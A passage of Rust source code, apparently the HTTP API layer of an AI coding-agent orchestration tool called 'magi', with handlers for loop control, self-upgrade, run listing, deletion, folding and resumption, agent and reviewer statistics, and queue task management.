1811 parking: bool,
1819 owned: bool,
1827 repo: String,
1830 merge: Option<String>,
1833 last_error: Option<String>,
1841 daemon: DaemonView,
1844}
1845
1846#[derive(Debug, Clone, Copy)]
1855struct Foreign {
1856 pid: Option<u32>,
1858}
1859
1860impl Foreign {
1861 fn of(reading: Option<&daemon::Reading>) -> Option<Self> {
1864 let reading = reading?;
1865 if !reading.running(Timestamp::now()) {
1866 return None;
1867 }
1868 match reading.pid {
1869 Some(pid) if pid == std::process::id() => None,
1870 pid => Some(Self { pid }),
1874 }
1875 }
1876
1877 fn who(&self) -> String {
1880 match self.pid {
1881 Some(pid) => format!("another magi process (pid {pid})"),
1882 None => "another magi process".to_owned(),
1883 }
1884 }
1885}
1886
1887type Launch = fn(daemon::Opts, daemon::Stop) -> Pin<Box<dyn Future<Output = Result<()>> + Send>>;
1892
1893fn launch_daemon(
1895 opts: daemon::Opts,
1896 stop: daemon::Stop,
1897) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
1898 Box::pin(daemon::serve_until(opts, stop))
1899}
1900
1901#[derive(Debug, Default)]
1903struct LoopState {
1904 live: Option<Live>,
1906 rev: u64,
1914 last_error: Option<String>,
1917}
1918
1919#[derive(Debug)]
1921struct Live {
1922 stop: daemon::Stop,
1924 handle: tokio::task::JoinHandle<()>,
1929 opts: daemon::Opts,
1933}
1934
1935impl Live {
1936 fn alive(&self) -> bool {
1938 !self.handle.is_finished()
1939 }
1940}
1941
1942fn lock_or_recover(state: &Mutex<LoopState>) -> MutexGuard<'_, LoopState> {
1949 state.lock().unwrap_or_else(PoisonError::into_inner)
1950}
1951
1952async fn loop_get(State(ui): State<Arc<Ui>>) -> ApiResult<Json<LoopView>> {
1954 blocking(move || {
1955 let reading = daemon::read_status(&ui.home);
1956 Ok(Json(ui.loop_view(reading)))
1957 })
1958 .await
1959}
1960
1961#[derive(Debug, Deserialize)]
1967#[serde(deny_unknown_fields)]
1968struct LoopCommand {
1969 running: bool,
1970 #[serde(default)]
1980 park: bool,
1981}
1982
1983async fn loop_post(
1991 State(ui): State<Arc<Ui>>,
1992 body: std::result::Result<Json<LoopCommand>, JsonRejection>,
1993) -> ApiResult<Json<LoopView>> {
1994 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
1997 blocking(move || {
1998 let reading = daemon::read_status(&ui.home);
1999 let foreign = Foreign::of(reading.as_ref());
2000 if body.running {
2001 ui.start_loop(foreign)?;
2002 } else {
2003 ui.stop_loop(foreign, body.park)?;
2004 }
2005 Ok(Json(ui.loop_view(reading)))
2006 })
2007 .await
2008}
2009
2010#[derive(Debug, Serialize)]
2012struct UpgradeView {
2013 from: String,
2015 to: Option<String>,
2017 parked: Option<String>,
2019 detail: String,
2021}
2022
2023async fn upgrade_post(State(ui): State<Arc<Ui>>) -> ApiResult<(StatusCode, Json<UpgradeView>)> {
2047 let reading = daemon::read_status(&ui.home);
2048 if let Some(other) = Foreign::of(reading.as_ref()) {
2049 return Err(ApiError::conflict(format!(
2050 "the loop belongs to {}, so replacing this binary would leave \
2051 that process running an old one against the same queue. Upgrade \
2052 where it was started.",
2053 other.who()
2054 )));
2055 }
2056
2057 if crate::updater::disabled_by_env() {
2063 return Ok((
2064 StatusCode::OK,
2065 Json(UpgradeView {
2066 from: env!("CARGO_PKG_VERSION").to_owned(),
2067 to: None,
2068 parked: None,
2069 detail: format!(
2070 "Automatic updates are disabled by {}. Nothing was parked \
2071 and nothing restarted.",
2072 crate::updater::NO_AUTOUPDATE_ENV
2073 ),
2074 }),
2075 ));
2076 }
2077
2078 let (cfg, _) = Config::discover(&ui.repo, None).unwrap_or_default();
2083 let from = env!("CARGO_PKG_VERSION").to_owned();
2084 let latest = match crate::updater::Checker::new(&cfg.update) {
2085 Some(checker) => checker
2086 .newer_release()
2087 .await
2088 .map_err(|e| ApiError::internal(format!("check for a release: {e:#}")))?,
2089 None => None,
2090 };
2091 let Some(latest) = latest else {
2092 return Ok((
2093 StatusCode::OK,
2094 Json(UpgradeView {
2095 from,
2096 to: None,
2097 parked: None,
2098 detail: "Already on the newest release. Nothing was parked \
2099 and nothing restarted."
2100 .to_owned(),
2101 }),
2102 ));
2103 };
2104
2105 let parked = ui.park_for_upgrade()?;
2108 let detail = match &parked {
2109 Some(run) => format!(
2114 "Run {} is parking at its next step, which can take as long as \
2115 the step it is on - up to an hour for an implement wave. The \
2116 deck replaces itself once it parks, comes back, and the loop \
2117 carries that run on from where it stopped. Nothing is lost if \
2118 you close this.",
2119 crate::run::short_of(run)
2120 ),
2121 None => "The deck replaces itself and comes back. Nothing was in \
2122 flight to park."
2123 .to_owned(),
2124 };
2125
2126 let mut progress = updater::Progress::new(from.clone(), latest.tag_name.clone());
2130 progress.parked_run = parked.clone();
2131 let _ = updater::write_progress(&ui.home, &progress);
2132
2133 let home = ui.home.clone();
2134 tokio::spawn(async move {
2135 if let Err(e) = upgrade_and_restart(home.clone()).await {
2136 tracing::error!("the upgrade did not complete: {e:#}");
2137 if let Some(mut progress) = updater::read_progress(&home) {
2138 progress.fail(format!("{e:#}"));
2139 let _ = updater::write_progress(&home, &progress);
2140 }
2141 }
2142 });
2143
2144 Ok((
2145 StatusCode::ACCEPTED,
2146 Json(UpgradeView {
2147 from,
2148 to: Some(latest.tag_name),
2149 parked,
2150 detail,
2151 }),
2152 ))
2153}
2154
2155async fn upgrade_and_restart(home: PathBuf) -> Result<()> {
2160 crate::updater::run_self_update(true, false, true).await?;
2163 tracing::info!("binary replaced - asking the server to hand over");
2164 if let Some(mut progress) = updater::read_progress(&home) {
2165 progress.advance(updater::Stage::Replaced);
2166 let _ = updater::write_progress(&home, &progress);
2167 }
2168 HANDOVER.notify_one();
2169 Ok(())
2170}
2171
2172#[derive(Debug, Serialize)]
2178struct RunSummary {
2179 id: String,
2180 short: String,
2181 status: String,
2182 done: bool,
2183 instruction: String,
2184 title: String,
2185 repo: String,
2186 repo_name: String,
2187 created_at: String,
2188 updated_at: String,
2189 candidates: usize,
2190 viable: usize,
2191 judges: usize,
2192 winner: Option<char>,
2193 reviews: usize,
2194 quota_losses: usize,
2195 event: Option<String>,
2196 superseded_by: Option<String>,
2201 waiting: bool,
2208 live: crate::run::Liveness,
2212 pr: Option<crate::run::PrRecord>,
2214 unmerged_by_design: bool,
2220}
2221
2222impl RunSummary {
2223 fn of(state: &RunState, waiting: bool, live: crate::run::Liveness) -> Self {
2224 Self {
2225 id: state.id.clone(),
2226 short: state.short().to_owned(),
2227 status: status_word(state.status),
2228 done: state.status.done(),
2229 unmerged_by_design: state.unmerged_by_design(),
2230 instruction: state.instruction.clone(),
2231 title: title_from(&state.instruction, TITLE_MAX),
2232 repo: state.repo.display().to_string(),
2233 repo_name: state
2234 .repo
2235 .file_name()
2236 .map(|n| n.to_string_lossy().into_owned())
2237 .unwrap_or_default(),
2238 created_at: state.created_at.to_string(),
2239 updated_at: state.updated_at.to_string(),
2240 candidates: state.candidates.len(),
2241 viable: state.viable().len(),
2242 judges: state.config.graph.judges,
2243 winner: state.winner().map(|c| c.label),
2244 reviews: state.reviews.len(),
2245 quota_losses: state.quota.len(),
2246 event: state.events.last().map(|e| e.message.clone()),
2247 waiting,
2248 live,
2249 superseded_by: None,
2252 pr: state.pr.clone(),
2253 }
2254 }
2255}
2256
2257fn status_word(status: RunStatus) -> String {
2260 status.as_str().to_owned()
2264}
2265
2266#[derive(Debug, Deserialize)]
2268struct ListQuery {
2269 #[serde(default)]
2270 limit: Option<usize>,
2271}
2272
2273async fn runs_list(
2274 State(ui): State<Arc<Ui>>,
2275 Query(q): Query<ListQuery>,
2276) -> ApiResult<Json<Vec<RunSummary>>> {
2277 let limit = q.limit.unwrap_or(LIST_DEFAULT).min(LIST_MAX);
2278 blocking(move || {
2279 let superseded = ui.queue.superseded();
2280 let open_runs: HashSet<String> = ui
2284 .questions
2285 .list()
2286 .into_iter()
2287 .filter(|q| q.status.open())
2288 .map(|q| q.run)
2289 .collect();
2290 let claimed: HashSet<String> =
2291 crate::daemon::current_work(&ui.home, jiff::Timestamp::now())
2292 .into_iter()
2293 .map(|c| c.run)
2294 .collect();
2295 let states = run_ids(&ui.runs)
2296 .into_iter()
2297 .filter_map(|id| read_run(&ui.runs, &id).ok())
2302 .take(limit);
2303 let probe = std::cell::RefCell::new(crate::proc::ProcProbe::real());
2304 let summaries = summarize(
2305 states,
2306 &open_runs,
2307 &claimed,
2308 &superseded,
2309 |p| probe.borrow_mut().status(p),
2310 |p| probe.borrow_mut().started_at(p),
2311 );
2312 Ok(Json(summaries))
2313 })
2314 .await
2315}
2316
2317fn summarize<I, S, D>(
2323 states: I,
2324 open_runs: &HashSet<String>,
2325 claimed: &HashSet<String>,
2326 superseded: &HashMap<String, String>,
2327 mut status_q: S,
2328 mut identity_q: D,
2329) -> Vec<RunSummary>
2330where
2331 I: IntoIterator<Item = RunState>,
2332 S: FnMut(u32) -> Option<bool>,
2333 D: FnMut(u32) -> Option<String>,
2334{
2335 states
2336 .into_iter()
2337 .map(|state| {
2338 let waiting = open_runs.contains(&state.id);
2339 let live =
2340 state.liveness_with(claimed.contains(&state.id), &mut status_q, &mut identity_q);
2341 let mut row = RunSummary::of(&state, waiting, live);
2342 row.superseded_by = superseded
2343 .get(&state.id)
2344 .map(String::as_str)
2345 .map(crate::run::short_of)
2346 .map(str::to_owned);
2347 row
2348 })
2349 .collect()
2350}
2351
2352#[derive(Debug, Serialize)]
2359struct RunDetailView {
2360 #[serde(flatten)]
2361 state: RunState,
2362 instruction_md: Vec<md::Node>,
2363 live: crate::run::Liveness,
2378 unmerged_by_design: bool,
2383 superseded_by: Option<String>,
2391 latest_attempt: Option<LatestAttempt>,
2405}
2406
2407#[derive(Debug, Serialize)]
2409struct LatestAttempt {
2410 id: String,
2411 short: String,
2412 resolved: bool,
2423}
2424
2425impl RunDetailView {
2426 fn of(
2427 state: RunState,
2428 live: crate::run::Liveness,
2429 superseded_by: Option<String>,
2430 latest_attempt: Option<LatestAttempt>,
2431 ) -> Self {
2432 Self {
2433 instruction_md: md::to_nodes(&state.instruction, &md::ImageBase::None),
2434 live,
2435 unmerged_by_design: state.unmerged_by_design(),
2436 superseded_by,
2437 latest_attempt,
2438 state,
2439 }
2440 }
2441}
2442
2443async fn run_detail(
2444 State(ui): State<Arc<Ui>>,
2445 Path(id): Path<String>,
2446) -> ApiResult<Json<RunDetailView>> {
2447 blocking(move || {
2448 let id = resolve_run(&ui.runs, &id)?;
2449 let state = read_run(&ui.runs, &id)?;
2450 let daemon_claims = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
2451 let live = state.liveness(daemon_claims);
2452 let superseded_by = ui
2453 .queue
2454 .superseded_by(&id)
2455 .as_deref()
2456 .map(crate::run::short_of)
2457 .map(str::to_owned);
2458 let latest_attempt = ui.queue.latest_attempt(&id).and_then(|head_id| {
2462 read_run(&ui.runs, &head_id).ok().map(|head| LatestAttempt {
2463 short: head.short().to_owned(),
2464 resolved: matches!(head.status, RunStatus::Merged | RunStatus::Ready),
2465 id: head.id,
2466 })
2467 });
2468 Ok(Json(RunDetailView::of(
2469 state,
2470 live,
2471 superseded_by,
2472 latest_attempt,
2473 )))
2474 })
2475 .await
2476}
2477
2478async fn run_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
2487 let (id, unreadable) = {
2488 let ui = Arc::clone(&ui);
2489 blocking(move || {
2490 let id = resolve_run(&ui.runs, &id)?;
2491 match read_run(&ui.runs, &id) {
2492 Ok(state) => {
2493 let in_flight =
2494 crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
2495 state
2496 .ensure_can_delete(in_flight)
2497 .map_err(|e| ApiError::conflict(format!("{e:#}")))?;
2498 let dir = ui.runs.join(&id);
2499 std::fs::remove_dir_all(&dir)
2500 .with_context(|| format!("remove run directory {}", dir.display()))?;
2501 Ok((id, false))
2502 }
2503 Err(_) => {
2504 if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
2508 return Err(ApiError::conflict(format!(
2509 "run {id} is being worked on by a live daemon right now"
2510 )));
2511 }
2512 Ok((id, true))
2513 }
2514 }
2515 })
2516 .await?
2517 };
2518 if unreadable {
2519 crate::clean::fold_unreadable(&ui.runs, &ui.worktrees_root, &id)
2520 .await
2521 .map_err(|e| ApiError::internal(format!("{e:#}")))?;
2522 }
2523 let ui = Arc::clone(&ui);
2524 let done = id.clone();
2525 blocking(move || {
2526 ui.questions.abandon_for_run(
2529 &done,
2530 &format!("run {done} was deleted, so nothing is waiting for this answer"),
2531 )?;
2532 Ok(())
2533 })
2534 .await?;
2535 Ok(StatusCode::NO_CONTENT)
2536}
2537
2538async fn run_fold(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Json<FoldView>> {
2562 let (id, state) = {
2563 let ui = Arc::clone(&ui);
2564 blocking(move || {
2565 let id = resolve_run(&ui.runs, &id)?;
2566 if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
2567 return Err(ApiError::conflict(format!(
2568 "run {id} is being worked on by a live daemon right now"
2569 )));
2570 }
2571 let state = read_run(&ui.runs, &id).ok();
2572 Ok((id, state))
2573 })
2574 .await?
2575 };
2576 let removed = match state {
2577 Some(mut state) => {
2578 let removed = crate::graph::fold_run(&mut state, true, &ui.home)
2579 .await
2580 .map_err(|e| ApiError::internal(format!("{e:#}")))?;
2581 if removed.is_empty() {
2586 crate::clean::clear_abandoned_active(&mut state, &ui.home, jiff::Timestamp::now())
2587 .map_err(|e| ApiError::internal(format!("{e:#}")))?;
2588 }
2589 removed
2590 }
2591 None => crate::clean::fold_unreadable(&ui.runs, &ui.worktrees_root, &id)
2592 .await
2593 .map_err(|e| ApiError::internal(format!("{e:#}")))?,
2594 };
2595 Ok(Json(FoldView {
2596 run: id,
2597 removed_count: removed.len(),
2598 removed,
2599 }))
2600}
2601
2602#[derive(Debug, Serialize)]
2604struct FoldView {
2605 run: String,
2606 removed: Vec<String>,
2608 removed_count: usize,
2609}
2610
2611#[derive(Debug, Deserialize)]
2614struct FoldMergedBody {
2615 #[serde(default)]
2616 pr_url: String,
2617}
2618
2619async fn run_fold_merged(
2639 State(ui): State<Arc<Ui>>,
2640 Path(id): Path<String>,
2641 Json(body): Json<FoldMergedBody>,
2642) -> ApiResult<Json<FoldMergedView>> {
2643 let pr_url = body.pr_url.trim().to_owned();
2644 if pr_url.is_empty() {
2645 return Err(ApiError::bad_request("pr_url is required"));
2646 }
2647 let (id, mut state) = {
2648 let ui = Arc::clone(&ui);
2649 blocking(move || {
2650 let id = resolve_run(&ui.runs, &id)?;
2651 if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
2652 return Err(ApiError::conflict(format!(
2653 "run {id} is being worked on by a live daemon right now"
2654 )));
2655 }
2656 let state = read_run(&ui.runs, &id)?;
2657 Ok((id, state))
2658 })
2659 .await?
2660 };
2661 let (before, after) = crate::land::correct_manual_merge(&mut state, &pr_url)
2662 .await
2663 .map_err(|e| ApiError::bad_request(format!("{e:#}")))?;
2664 let removed = crate::graph::fold_run(&mut state, true, &ui.home)
2665 .await
2666 .map_err(|e| ApiError::internal(format!("{e:#}")))?;
2667 Ok(Json(FoldMergedView {
2668 run: id,
2669 before: before.as_str().to_owned(),
2670 after: after.as_str().to_owned(),
2671 removed,
2672 }))
2673}
2674
2675#[derive(Debug, Serialize)]
2677struct FoldMergedView {
2678 run: String,
2679 before: String,
2681 after: String,
2683 removed: Vec<String>,
2685}
2686
2687async fn run_resume(
2707 State(ui): State<Arc<Ui>>,
2708 Path(id): Path<String>,
2709) -> ApiResult<(StatusCode, Json<RunSummary>)> {
2710 let (id, state) = {
2711 let ui = Arc::clone(&ui);
2712 blocking(move || {
2713 let id = resolve_run(&ui.runs, &id)?;
2714 let state = read_run(&ui.runs, &id)?;
2715 Ok((id, state))
2716 })
2717 .await?
2718 };
2719 if let Some(to) = &state.released_to {
2720 return Err(ApiError::conflict(format!(
2721 "run {} can no longer be resumed: its worktree was released to run {}, which \
2722 took the branch over.",
2723 state.short(),
2724 crate::run::short_of(to)
2725 )));
2726 }
2727 if !state.status.resumable() {
2728 return Err(ApiError::conflict(format!(
2729 "run {} is `{}`, and only a stalled or blocked run can be resumed",
2730 state.short(),
2731 status_word(state.status)
2732 )));
2733 }
2734 if let Some(work) = crate::daemon::current_work(&ui.home, jiff::Timestamp::now())
2739 .into_iter()
2740 .next()
2741 {
2742 return Err(ApiError::conflict(format!(
2743 "the loop is running run {} right now; stop it first, or wait for \
2744 it to finish, before resuming a run by hand.",
2745 crate::run::short_of(&work.run)
2746 )));
2747 }
2748 let _resume = ui.begin_resume(&id)?;
2749
2750 let queued = RunSummary::of(
2753 &state,
2754 !ui.questions.open_for(&id).is_empty(),
2755 state.liveness(false),
2756 );
2757 let run = id.clone();
2758 tokio::spawn(async move {
2759 let _resume = _resume;
2760 match crate::graph::Runner::resume(&run) {
2761 Ok(mut runner) => {
2762 if let Err(e) = runner.execute().await {
2763 tracing::warn!("resume of run {run} stopped: {e:#}");
2764 }
2765 }
2766 Err(e) => tracing::warn!("run {run} could not be resumed: {e:#}"),
2769 }
2770 });
2771 Ok((StatusCode::ACCEPTED, Json(queued)))
2772}
2773
2774async fn run_report(
2775 State(ui): State<Arc<Ui>>,
2776 Path(id): Path<String>,
2777) -> ApiResult<impl IntoResponse> {
2778 let text = blocking(move || {
2779 let id = resolve_run(&ui.runs, &id)?;
2780 let state = read_run(&ui.runs, &id)?;
2784 let daemon_claims = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
2785 let live = state.liveness(daemon_claims);
2786 Ok(format!(
2787 "{}{}",
2788 report::run(&state),
2789 report::active_seats(&state, live)
2790 ))
2791 })
2792 .await?;
2793 Ok(([(header::CONTENT_TYPE, "text/plain; charset=utf-8")], text))
2794}
2795
2796#[derive(Debug, Serialize)]
2802struct TaskView {
2803 #[serde(flatten)]
2804 task: Task,
2805 source_label: String,
2806 status_str: &'static str,
2807 instruction_md: Vec<md::Node>,
2811 waits_on: Vec<String>,
2815 stuck_roots: Vec<String>,
2818}
2819
2820impl From<Task> for TaskView {
2821 fn from(task: Task) -> Self {
2822 Self {
2823 source_label: task.source.label(),
2824 status_str: task.status.as_str(),
2825 instruction_md: md::to_nodes(&task.instruction, &md::ImageBase::None),
2826 waits_on: Vec::new(),
2827 stuck_roots: Vec::new(),
2828 task,
2829 }
2830 }
2831}
2832
2833impl TaskView {
2834 fn with_inventory(task: Task, inv: &crate::blockers::Inventory) -> Self {
2835 let waits_on = inv.waits_on(&task);
2836 let stuck_roots = inv
2837 .stuck_roots(&task)
2838 .iter()
2839 .map(|r| r.rsplit('-').next().unwrap_or(r).to_owned())
2840 .collect();
2841 Self {
2842 waits_on,
2843 stuck_roots,
2844 ..Self::from(task)
2845 }
2846 }
2847}
2848
2849#[derive(Debug, Default, Deserialize)]
2852#[serde(default)]
2853struct ReposQuery {
2854 refresh: u8,
2855}
2856
2857async fn repos_list(
2864 State(ui): State<Arc<Ui>>,
2865 Query(q): Query<ReposQuery>,
2866) -> ApiResult<Json<Vec<repos::Repo>>> {
2867 let refresh = q.refresh != 0;
2868 blocking(move || {
2869 let (cfg, _) = Config::discover(&ui.repo, None)?;
2870 Ok(Json(ui.repos_cache.list(
2871 &cfg.repos.roots,
2872 Duration::from_secs(cfg.repos.scan_ttl),
2873 refresh,
2874 )))
2875 })
2876 .await
2877}
2878
2879async fn queue_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<TaskView>>> {
2880 blocking(move || {
2881 let tasks = ui.queue.list();
2882 let inv = crate::blockers::Inventory::new(tasks.clone(), &ui.questions.list());
2883 Ok(Json(
2884 tasks
2885 .into_iter()
2886 .map(|t| TaskView::with_inventory(t, &inv))
2887 .collect(),
2888 ))
2889 })
2890 .await
2891}
2892
2893#[derive(Debug, Serialize)]
2897struct RateView {
2898 pct: f64,
2899 denominator: usize,
2900}
2901
2902impl RateView {
2903 fn of(numerator: usize, denominator: usize) -> Option<Self> {
2904 (denominator > 0).then(|| Self {
2905 pct: 100.0 * numerator as f64 / denominator as f64,
2906 denominator,
2907 })
2908 }
2909}
2910
2911#[derive(Debug, Serialize)]
2916struct StatsTotalsView {
2917 runs: usize,
2918 merged: usize,
2919 ready: usize,
2920 blocked: usize,
2921 failed: usize,
2922 stalled: usize,
2923 verified_noop: usize,
2924 superseded: usize,
2925 in_progress: usize,
2926 completion_rate: Option<RateView>,
2927 tallied: usize,
2928 split: usize,
2929 split_rate: Option<RateView>,
2930 deliberated: usize,
2931 minds_changed: usize,
2932 converged: usize,
2933 review_rounds: usize,
2934}
2935
2936impl From<&stats::Totals> for StatsTotalsView {
2937 fn from(t: &stats::Totals) -> Self {
2938 Self {
2939 runs: t.runs,
2940 merged: t.merged,
2941 ready: t.ready,
2942 blocked: t.blocked,
2943 failed: t.failed,
2944 stalled: t.stalled,
2945 verified_noop: t.verified_noop,
2946 superseded: t.superseded,
2947 in_progress: t.in_progress,
2948 completion_rate: RateView::of(t.merged + t.ready, t.runs),
2949 tallied: t.tallied,
2950 split: t.split,
2951 split_rate: RateView::of(t.split, t.tallied),
2952 deliberated: t.deliberated,
2953 minds_changed: t.minds_changed,
2954 converged: t.converged,
2955 review_rounds: t.review_rounds,
2956 }
2957 }
2958}
2959
2960#[derive(Debug, Serialize)]
2962struct AgentStatsView {
2963 agent: String,
2964 entered: usize,
2965 wins: usize,
2966 empty: usize,
2967 win_rate: Option<RateView>,
2968}
2969
2970impl From<&stats::AgentStats> for AgentStatsView {
2971 fn from(a: &stats::AgentStats) -> Self {
2972 Self {
2973 agent: a.agent.clone(),
2974 entered: a.entered,
2975 wins: a.wins,
2976 empty: a.empty,
2977 win_rate: RateView::of(a.wins, a.entered),
2978 }
2979 }
2980}
2981
2982#[derive(Debug, Serialize)]
2986struct ReviewerStatsView {
2987 agent: String,
2988 rounds: usize,
2989 seated: usize,
2990 submitted: usize,
2991 adopted: usize,
2992 unique: usize,
2993 timeouts: usize,
2994 adopted_per_round: Option<f64>,
2995 precision: Option<RateView>,
2996 unique_rate: Option<RateView>,
2997 timeout_rate: Option<RateView>,
2998}
2999
3000impl From<&stats::ReviewerStats> for ReviewerStatsView {
3001 fn from(r: &stats::ReviewerStats) -> Self {
3002 Self {
3003 agent: r.agent.clone(),
3004 rounds: r.rounds,
3005 seated: r.seated,
3006 submitted: r.submitted,
3007 adopted: r.adopted,
3008 unique: r.unique,
3009 timeouts: r.timeouts,
3010 adopted_per_round: (r.rounds > 0).then(|| r.adopted_per_round()),
3011 precision: RateView::of(r.adopted, r.submitted),
3012 unique_rate: RateView::of(r.unique, r.submitted),
3013 timeout_rate: RateView::of(r.timeouts, r.seated),
3014 }
3015 }
3016}
3017
3018#[derive(Debug, Serialize)]
3024struct AdvisorStatsView {
3025 agent: String,
3026 seated: usize,
3027 proposed: usize,
3028 absent: usize,
3029 faint: usize,
3030 strong: usize,
3031 reflection_rate: Option<RateView>,
3032}
3033
3034impl From<&stats::AdvisorStats> for AdvisorStatsView {
3035 fn from(a: &stats::AdvisorStats) -> Self {
3036 Self {
3037 agent: a.agent.clone(),
3038 seated: a.seated,
3039 proposed: a.proposed,
3040 absent: a.absent,
3041 faint: a.faint,
3042 strong: a.strong,
3043 reflection_rate: RateView::of(a.strong, a.proposed),
3044 }
3045 }
3046}
3047
3048#[derive(Debug, Serialize)]
3050struct E2eStatsView {
3051 rounds: usize,
3052 failures: usize,
3053 sole_detections: usize,
3054 deferred: usize,
3055 sole_rate: Option<RateView>,
3056}
3057
3058impl From<&stats::E2eStats> for E2eStatsView {
3059 fn from(e: &stats::E2eStats) -> Self {
3060 Self {
3061 rounds: e.rounds,
3062 failures: e.failures,
3063 sole_detections: e.sole_detections,
3064 deferred: e.deferred,
3065 sole_rate: RateView::of(e.sole_detections, e.failures),
3066 }
3067 }
3068}
3069
3070#[derive(Debug, Serialize)]
3078struct ReleaseBumpStatsView {
3079 merged: usize,
3080 recorded: usize,
3081 pr_opened: usize,
3082 automerge_enabled: usize,
3083 merged_directly: usize,
3084 needs_attention: usize,
3085 clean: usize,
3086 coverage_rate: Option<RateView>,
3087 automerge_rate: Option<RateView>,
3088 attention_rate: Option<RateView>,
3089}
3090
3091impl From<&stats::ReleaseBumpStats> for ReleaseBumpStatsView {
3092 fn from(b: &stats::ReleaseBumpStats) -> Self {
3093 Self {
3094 merged: b.merged,
3095 recorded: b.recorded,
3096 pr_opened: b.pr_opened,
3097 automerge_enabled: b.automerge_enabled,
3098 merged_directly: b.merged_directly,
3099 needs_attention: b.needs_attention,
3100 clean: b.clean(),
3101 coverage_rate: RateView::of(b.recorded, b.merged),
3102 automerge_rate: RateView::of(b.automerge_enabled, b.pr_opened),
3103 attention_rate: RateView::of(b.needs_attention, b.recorded),
3104 }
3105 }
3106}
3107
3108#[derive(Debug, Serialize)]
3110struct TaskCountsView {
3111 queued: usize,
3112 running: usize,
3113 done: usize,
3114 failed: usize,
3115 held: usize,
3116 blocked: usize,
3117}
3118
3119impl From<crate::queue::TaskCounts> for TaskCountsView {
3120 fn from(c: crate::queue::TaskCounts) -> Self {
3121 Self {
3122 queued: c.queued,
3123 running: c.running,
3124 done: c.done,
3125 failed: c.failed,
3126 held: c.held,
3127 blocked: c.blocked,
3128 }
3129 }
3130}
3131
3132#[derive(Debug, Serialize)]
3138struct RepoSummaryView {
3139 repo: String,
3142 name: String,
3144 runs: usize,
3145 completion_rate: Option<RateView>,
3146}
3147
3148impl From<&stats::RepoStats> for RepoSummaryView {
3149 fn from(r: &stats::RepoStats) -> Self {
3150 let t = &r.stats.totals;
3151 Self {
3152 repo: r.repo.to_string_lossy().into_owned(),
3153 name: r.name.clone(),
3154 runs: t.runs,
3155 completion_rate: RateView::of(t.merged + t.ready, t.runs),
3156 }
3157 }
3158}
3159
3160#[derive(Debug, Serialize)]
3166struct StatsView {
3167 totals: StatsTotalsView,
3168 agents: Vec<AgentStatsView>,
3170 reviewers: Vec<ReviewerStatsView>,
3172 advisors: Vec<AdvisorStatsView>,
3174 e2e: E2eStatsView,
3175 release_bumps: ReleaseBumpStatsView,
3176 queue: TaskCountsView,
3177 runs_unreadable: usize,
3187 repos: Vec<RepoSummaryView>,
3191 repo: Option<String>,
3195}
3196
3197#[derive(Debug, Default, Deserialize)]
3206#[serde(default)]
3207struct StatsQuery {
3208 repo: Option<String>,
3209}
3210
3211async fn stats_get(
3218 State(ui): State<Arc<Ui>>,
3219 Query(q): Query<StatsQuery>,
3220) -> ApiResult<Json<StatsView>> {
3221 blocking(move || {
3222 let states: Vec<RunState> = run_ids(&ui.runs)
3223 .into_iter()
3224 .filter_map(|id| read_run(&ui.runs, &id).ok())
3225 .collect();
3226 let repos: Vec<RepoSummaryView> = stats::by_repo(&states)
3227 .iter()
3228 .map(RepoSummaryView::from)
3229 .collect();
3230 let collected = match &q.repo {
3231 Some(repo) => {
3232 let filtered = stats::filter_repo(&states, std::path::Path::new(repo));
3233 if filtered.is_empty() {
3234 return Err(ApiError::not_found(format!(
3235 "no runs recorded against repo `{repo}`"
3236 )));
3237 }
3238 stats::collect_refs(filtered)
3239 }
3240 None => stats::collect(&states),
3241 };
3242 let queue_counts = crate::queue::TaskCounts::of(&ui.queue.list());
3243 Ok(Json(StatsView {
3244 totals: StatsTotalsView::from(&collected.totals),
3245 agents: collected.agents.iter().map(AgentStatsView::from).collect(),
3246 reviewers: collected
3247 .reviewers
3248 .iter()
3249 .map(ReviewerStatsView::from)
3250 .collect(),
3251 advisors: collected
3252 .advisors
3253 .iter()
3254 .map(AdvisorStatsView::from)
3255 .collect(),
3256 e2e: E2eStatsView::from(&collected.e2e),
3257 release_bumps: ReleaseBumpStatsView::from(&collected.release_bumps),
3258 queue: TaskCountsView::from(queue_counts),
3259 runs_unreadable: runs_unreadable(&ui.runs),
3260 repos,
3261 repo: q.repo.clone(),
3262 }))
3263 })
3264 .await
3265}
3266
3267#[derive(Debug, Default, Deserialize)]
3270#[serde(default, deny_unknown_fields)]
3271struct HoldBody {
3272 reason: Option<String>,
3273}
3274
3275async fn queue_hold(
3276 State(ui): State<Arc<Ui>>,
3277 Path(id): Path<String>,
3278 body: std::result::Result<Json<HoldBody>, JsonRejection>,
3279) -> ApiResult<Json<TaskView>> {
3280 let body = match body {
3284 Ok(Json(body)) => body,
3285 Err(JsonRejection::MissingJsonContentType(_)) => HoldBody::default(),
3286 Err(e) => return Err(ApiError::bad_request(e.body_text())),
3287 };
3288 let reason = body.reason.filter(|r| !r.trim().is_empty());
3289 mutate(ui, id, move |t| {
3290 t.hold_manual(reason.clone());
3291 Ok(())
3292 })
3293 .await
3294}
3295
3296async fn queue_release(
3297 State(ui): State<Arc<Ui>>,
3298 Path(id): Path<String>,
3299) -> ApiResult<Json<TaskView>> {
3300 mutate(ui, id, |t| {
3301 t.release();
3302 Ok(())
3303 })
3304 .await
3305}
3306
3307#[derive(Debug, Deserialize)]
3309#[serde(deny_unknown_fields)]
3310struct PriorityBody {
3311 priority: i32,
3312}
3313
3314async fn queue_priority(
3320 State(ui): State<Arc<Ui>>,
3321 Path(id): Path<String>,
3322 body: std::result::Result<Json<PriorityBody>, JsonRejection>,
3323) -> ApiResult<Json<TaskView>> {
3324 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
3325 mutate(ui, id, move |t| t.set_priority(body.priority)).await
3326}
3327
3328#[derive(Debug, Deserialize)]
3330#[serde(deny_unknown_fields)]
3331struct EditBody {
3332 title: String,
3333 instruction: String,
3334}
3335
3336async fn queue_edit(
3340 State(ui): State<Arc<Ui>>,
3341 Path(id): Path<String>,
